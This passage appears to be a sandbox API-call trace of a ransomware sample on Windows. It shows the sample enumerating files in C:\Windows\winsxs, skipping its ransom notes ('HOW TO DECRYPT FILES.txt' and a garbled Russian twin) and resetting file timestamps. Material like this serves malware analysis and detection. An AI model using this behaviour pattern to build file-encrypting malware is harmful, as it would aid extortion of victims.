(in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.651] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security_watermark.jpg") returned -1 [0165.651] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security_watermark.jpg") returned -1 [0165.651] lstrcmpiA (lpString1="", lpString2="security_watermark.jpg") returned -1 [0165.651] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\requiredBang.gif") returned="requiredBang.gif" [0165.652] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.652] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.652] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.652] CloseHandle (hObject=0xffffffff) returned 0 [0165.654] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0959ae7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0959ae7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90e8b0db, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x0, cFileName="selectedTab_1x1.gif", cAlternateFileName="SELECT~1.GIF")) returned 1 [0165.654] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.654] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="selectedTab_1x1.gif") returned -1 [0165.654] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="selectedTab_1x1.gif") returned -1 [0165.654] lstrcmpiA (lpString1="", lpString2="selectedTab_1x1.gif") returned -1 [0165.655] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\security_watermark.jpg") returned="security_watermark.jpg" [0165.655] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.655] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.655] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.655] CloseHandle (hObject=0xffffffff) returned 0 [0165.656] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09f205b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb09f205b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90eb1239, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="selectedTab_leftCorner.gif", cAlternateFileName="SELECT~2.GIF")) returned 1 [0165.656] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.656] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="selectedTab_leftCorner.gif") returned -1 [0165.656] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="selectedTab_leftCorner.gif") returned -1 [0165.656] lstrcmpiA (lpString1="", lpString2="selectedTab_leftCorner.gif") returned -1 [0165.656] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\selectedTab_1x1.gif") returned="selectedTab_1x1.gif" [0165.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.656] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.656] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.657] CloseHandle (hObject=0xffffffff) returned 0 [0165.657] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a181b8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0a181b8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90ed7397, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="selectedTab_rightCorner.gif", cAlternateFileName="SELECT~3.GIF")) returned 1 [0165.657] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="selectedTab_rightCorner.gif") returned -1 [0165.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="selectedTab_rightCorner.gif") returned -1 [0165.657] lstrcmpiA (lpString1="", lpString2="selectedTab_rightCorner.gif") returned -1 [0165.657] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\selectedTab_leftCorner.gif") returned="selectedTab_leftCorner.gif" [0165.657] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.657] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.658] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.658] CloseHandle (hObject=0xffffffff) returned 0 [0165.658] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a64472, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0a64472, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90ed7397, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x21eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="topGradRepeat.jpg", cAlternateFileName="TOPGRA~1.JPG")) returned 1 [0165.658] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.659] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="topGradRepeat.jpg") returned -1 [0165.659] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="topGradRepeat.jpg") returned -1 [0165.659] lstrcmpiA (lpString1="", lpString2="topGradRepeat.jpg") returned -1 [0165.659] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\selectedTab_rightCorner.gif") returned="selectedTab_rightCorner.gif" [0165.659] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.659] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.659] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.659] CloseHandle (hObject=0xffffffff) returned 0 [0165.660] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ab072c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0ab072c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90efd4f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="unSelectedTab_leftCorner.gif", cAlternateFileName="UNSELE~1.GIF")) returned 1 [0165.660] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.660] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="unSelectedTab_leftCorner.gif") returned -1 [0165.660] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="unSelectedTab_leftCorner.gif") returned -1 [0165.660] lstrcmpiA (lpString1="", lpString2="unSelectedTab_leftCorner.gif") returned -1 [0165.660] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\topGradRepeat.jpg") returned="topGradRepeat.jpg" [0165.660] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.660] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.660] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.660] CloseHandle (hObject=0xffffffff) returned 0 [0165.661] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0afc9e6, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0afc9e6, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90f23653, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="unSelectedTab_rightCorner.gif", cAlternateFileName="UNSELE~2.GIF")) returned 1 [0165.661] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.662] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="unSelectedTab_rightCorner.gif") returned -1 [0165.662] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="unSelectedTab_rightCorner.gif") returned -1 [0165.662] lstrcmpiA (lpString1="", lpString2="unSelectedTab_rightCorner.gif") returned -1 [0165.662] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\unSelectedTab_leftCorner.gif") returned="unSelectedTab_leftCorner.gif" [0165.662] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.662] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.662] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.663] CloseHandle (hObject=0xffffffff) returned 0 [0165.663] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b48ca0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0b48ca0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90f23653, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="yellowCORNER.gif", cAlternateFileName="YELLOW~1.GIF")) returned 1 [0165.663] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.663] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="yellowCORNER.gif") returned -1 [0165.663] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="yellowCORNER.gif") returned -1 [0165.663] lstrcmpiA (lpString1="", lpString2="yellowCORNER.gif") returned -1 [0165.663] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\unSelectedTab_rightCorner.gif") returned="unSelectedTab_rightCorner.gif" [0165.663] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.664] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.664] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.664] CloseHandle (hObject=0xffffffff) returned 0 [0165.664] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b48ca0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0b48ca0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90f23653, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="yellowCORNER.gif", cAlternateFileName="YELLOW~1.GIF")) returned 0 [0165.665] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.666] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113039b6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34", cAlternateFileName="AM3405~1.163")) returned 1 [0165.666] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34") returned -1 [0165.666] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34") returned -1 [0165.666] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.666] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113039b6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.669] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.669] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113039b6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.669] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.669] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.669] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf92264e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf92264e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90577d75, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x82f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="default.aspx.resx", cAlternateFileName="DEFAUL~1.RES")) returned 1 [0165.669] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.669] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="default.aspx.resx") returned 1 [0165.669] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="default.aspx.resx") returned 1 [0165.669] lstrcmpiA (lpString1="", lpString2="default.aspx.resx") returned -1 [0165.669] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\*.*") returned="*.*" [0165.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.670] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.670] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.670] CloseHandle (hObject=0xffffffff) returned 0 [0165.670] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9487ab, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf9487ab, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90577d75, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="error.aspx.resx", cAlternateFileName="ERRORA~1.RES")) returned 1 [0165.671] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.671] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="error.aspx.resx") returned -1 [0165.671] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="error.aspx.resx") returned 1 [0165.671] lstrcmpiA (lpString1="", lpString2="error.aspx.resx") returned -1 [0165.671] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\default.aspx.resx") returned="default.aspx.resx" [0165.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.671] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.672] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.672] CloseHandle (hObject=0xffffffff) returned 0 [0165.672] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9babc2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf9babc2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9059ded3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="home0.aspx.resx", cAlternateFileName="HOME0A~1.RES")) returned 1 [0165.672] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 